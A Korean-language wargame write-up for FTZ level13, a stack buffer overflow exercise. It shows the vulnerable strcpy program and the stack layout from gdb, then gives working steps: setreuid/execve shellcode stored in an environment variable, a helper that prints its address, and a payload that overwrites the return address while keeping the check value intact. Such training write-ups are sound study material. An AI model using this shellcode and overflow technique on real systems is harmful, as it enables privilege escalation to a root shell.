[FTZ] level13
level13으로 로그인하고 문제를 확인해보면
이번 문제도 bof를 하는 문제이다.
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
코드를 확인해 보면,
i, buf 변수 두 개가 있고,
main함수에서 인자를 입력받아서 strcpy로 buf에 넣는다. 이곳이 길이 값을 확인하지 않기 때문에 취약하다. 이 부분을 오버플로우 해서 RET 값을 바꾸면 될 거 같다. 하지만 제한 사항으로는 i의 값이 0x1234567로 일치해야 한다.
gdb로 attakme를 분석하면 다음과 같다.
push ebp
mov ebp, esp
로 함수가 시작(함수 프롤로그)되고
sub esp, 0x148로 변수를 넣을 공간을 할당해 준다.
그리고 mov DWORD PTR [ebp-12], 0x1234567을 통해서 0x148이 할당된 공간의 뒤쪽에 12bytes를 할당하고 0x1234567을 넣어준다.
buf의 크기는 1024 bytes이고, i의 크기는 4bytes 이기 때문에 dummy값이 있다는 것을 알 수 있다.
위의 처럼 정리를 하면
buf(1024) + dummy(12) + i (4) + dummy(8) = 1048bytes가 된다.
▶ buf를 overflow 할 때, i값은 건들지 않고 RET값을 쉘주소로 변조해야 한다.
level11, level12와 마찬가지로 환경변수를 이용한 bof를 시도하고자 한다.
1) 환경변수에 shellcode 입력하기
$ export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
env | grep EGG 을 통해서 제대로 입력됐는지 확인해 보면 된다.
2) SHELL이 있는 주소를 확인
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
3) stack 구조에 맞춰서 공격 코드 작성
buf(1024 bytes) + dummy(12 bytes) + i (4 bytes) + dummy(8 bytes) + sfp(4 bytes) + ret(8 bytes)
buf(1024 bytes) + dummy(12 bytes) ▶ "A" 삽입 (1036bytes)
i (4 bytes) ▶ 0x1234567
dummy(8 bytes) + sfp(4 bytes) ▶ "B" 삽입 (12bytes)
ret(8 bytes) ▶ 쉘주소(0xbffffc71)
$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"B"*12+"\x71\xfc\xff\xbf"'`
성공!